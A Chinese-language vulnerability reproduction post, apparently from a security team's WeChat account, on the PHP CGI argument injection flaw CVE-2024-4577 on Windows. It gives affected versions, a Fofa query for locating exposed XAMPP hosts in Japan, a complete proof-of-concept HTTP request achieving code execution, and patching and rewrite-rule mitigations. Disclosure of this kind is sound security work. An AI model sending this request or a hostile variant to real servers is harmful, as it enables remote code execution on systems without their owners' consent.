漏洞描述
影响版本
- • PHP 8.3 < 8.3.8
- • PHP 8.2 < 8.2.20
- • PHP 8.1 < 8.1.29
- • 安装系统为Windows
- • 存在 cgi-bin/php-cgi.exe 文件
网络空间测绘
Fofa
app="XAMPP" && country="JP"
漏洞复现
POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Accept-Encoding: gzip, deflate, br
Connection: close
<?php echo "0o3hdqnEnl";exit();?>
修复建议
- 1. 升级到最新的 PHP 版本8.3.8、8.2.20、8.1.29。
- 2. 不方便更新版本的Windows用户,建议暂时关闭php-cgi的使用。
- 3. 以下重写规则可用于阻止攻击。请注意,这些规则仅对繁体中文、简体中文和日语语言环境起到临时缓解作用。在实际操作中,仍然建议更新到修补版本或迁移架构。
RewriteEngine On
RewriteCond %{QUERY_STRING} ^%ad [NC]
RewriteRule .? - [F,L]
对于使用 XAMPP for Windows 的用户: 截至本文撰写时,XAMPP 尚未针对此漏洞发布相应的更新文件。如果你确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:
C:/xampp/apache/conf/extra/httpd-xampp.conf
找到相应的行,并将其注释掉:
# ScriptAlias /php-cgi/ "C:/xampp/php/"
原文始发于微信公众号(凝聚力安全团队):【漏洞复现】PHP CGI 参数注入漏洞 (CVE-2024-4577)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论